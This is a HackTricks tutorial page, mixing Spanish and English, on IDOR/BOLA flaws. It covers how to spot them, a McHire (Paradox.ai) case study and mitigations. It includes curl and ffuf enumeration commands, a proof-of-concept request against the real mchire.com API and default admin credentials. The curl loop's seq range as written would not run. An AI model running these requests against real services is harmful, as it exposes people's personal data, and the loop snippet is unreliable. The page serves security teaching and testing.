IDOR (Insecure Direct Object Reference)

Reading time: 6 minutes

tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks

IDOR (Insecure Direct Object Reference) / Broken Object Level Authorization (BOLA) aparece cuando un web o API endpoint revela o acepta un identificador controlado por el usuario que se usa directamente para acceder a un objeto interno sin verificar que el solicitante esté autorizado para acceder/modificar ese objeto. La explotación exitosa normalmente permite escalada de privilegios horizontal o vertical, como leer o modificar datos de otros usuarios y, en el peor de los casos, la toma completa de cuentas o la exfiltración masiva de datos.

1. Identifying Potential IDORs

  1. Look for parameters that reference an object:
  • Path: /api/user/1234, /files/550e8400-e29b-41d4-a716-446655440000
  • Query: ?id=42, ?invoice=2024-00001
  • Body / JSON: {"user_id": 321, "order_id": 987}
  • Headers / Cookies: X-Client-ID: 4711
  1. Prefer endpoints that read or update data (GET, PUT, PATCH, DELETE).
  2. Note when identifiers are sequential or predictable – if your ID is 64185742, then 64185741 probably exists.
  3. Explore hidden or alternate flows (e.g. "Paradox team members" link in login pages) that might expose extra APIs.
  4. Use an authenticated low-privilege session and change only the ID keeping the same token/cookie. The absence of an authorization error is usually a sign of IDOR.

Manipulación manual rápida (Burp Repeater)

PUT /api/lead/cem-xhr HTTP/1.1
Host: www.example.com
Cookie: auth=eyJhbGciOiJIUzI1NiJ9...
Content-Type: application/json

{"lead_id":64185741}

Enumeración automatizada (Burp Intruder / curl loop)

bash
for id in $(seq 64185742 64185700); do
curl -s -X PUT 'https://www.example.com/api/lead/cem-xhr' \
-H 'Content-Type: application/json' \
-H "Cookie: auth=$TOKEN" \
-d '{"lead_id":'"$id"'}' | jq -e '.email' && echo "Hit $id";
done

Oráculo de respuesta de error para la enumeración de usuarios/archivos

Cuando un download endpoint acepta tanto un username como un filename (p.ej. /view.php?username=<u>&file=<f>), las sutiles diferencias en los mensajes de error a menudo crean un oráculo:

  • Non-existent username → "User not found"
  • Bad filename but valid extension → "File does not exist" (sometimes also lists available files)
  • Bad extension → validation error

Con cualquier authenticated session, puedes fuzz el parámetro username mientras mantienes un filename benigno y filtrar por la cadena "User not found" para descubrir usuarios válidos:

bash
ffuf -u 'http://target/view.php?username=FUZZ&file=test.doc' \
-b 'PHPSESSID=<session-cookie>' \
-w /opt/SecLists/Usernames/Names/names.txt \
-fr 'User not found'

Una vez que se identifican nombres de usuario válidos, solicita archivos específicos directamente (p. ej., /view.php?username=amanda&file=privacy.odt). Este patrón con frecuencia conduce a la divulgación no autorizada de los documentos de otros usuarios y a la filtración de credenciales.

2. Estudio de caso real – McHire Chatbot Platform (2025)

Durante una evaluación del portal de reclutamiento McHire impulsado por Paradox.ai se descubrió el siguiente IDOR:

  • Endpoint: PUT /api/lead/cem-xhr
  • Autorización: cookie de sesión de usuario para cualquier cuenta de prueba de restaurante
  • Parámetro del cuerpo: {"lead_id": N} – identificador numérico de 8 dígitos, secuencial

Al disminuir lead_id el evaluador recuperó la PII completa de solicitantes arbitrarios (name, e-mail, phone, address, shift preferences) además de un JWT de consumidor que permitió el secuestro de sesión. La enumeración del rango 1 – 64,185,742 expuso aproximadamente 64 million registros.

Solicitud de prueba de concepto:

bash
curl -X PUT 'https://www.mchire.com/api/lead/cem-xhr' \
-H 'Content-Type: application/json' \
-d '{"lead_id":64185741}'

Combinado con default admin credentials (123456:123456) que otorgaban acceso a la cuenta de prueba, la vulnerabilidad resultó en una brecha de datos crítica a nivel de toda la empresa.

3. Impacto de IDOR / BOLA

  • Escalada horizontal – leer/actualizar/eliminar los datos de otros usuarios.
  • Escalada vertical – un usuario con pocos privilegios obtiene funcionalidad exclusiva de admin.
  • Brecha masiva de datos si los identificadores son secuenciales (ej., IDs de solicitantes, facturas).
  • Secuestro de cuentas robando tokens o restableciendo contraseñas de otros usuarios.

4. Mitigaciones & Best Practices

  1. Aplicar autorización a nivel de objeto en cada petición (user_id == session.user).
  2. Preferir identificadores indirectos e impredecibles (UUIDv4, ULID) en lugar de IDs auto-incrementales.
  3. Realizar la autorización del lado del servidor, nunca confiar en campos ocultos de formulario o controles de UI.
  4. Implementar verificaciones RBAC / ABAC en un middleware central.
  5. Agregar rate-limiting & logging para detectar la enumeración de IDs.
  6. Realizar pruebas de seguridad en cada nuevo endpoint (unit, integration, and DAST).

5. Herramientas

  • BurpSuite extensions: Authorize, Auto Repeater, Turbo Intruder.
  • OWASP ZAP: Auth Matrix, Forced Browse.
  • Github projects: bwapp-idor-scanner, Blindy (bulk IDOR hunting).

Referencias

tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks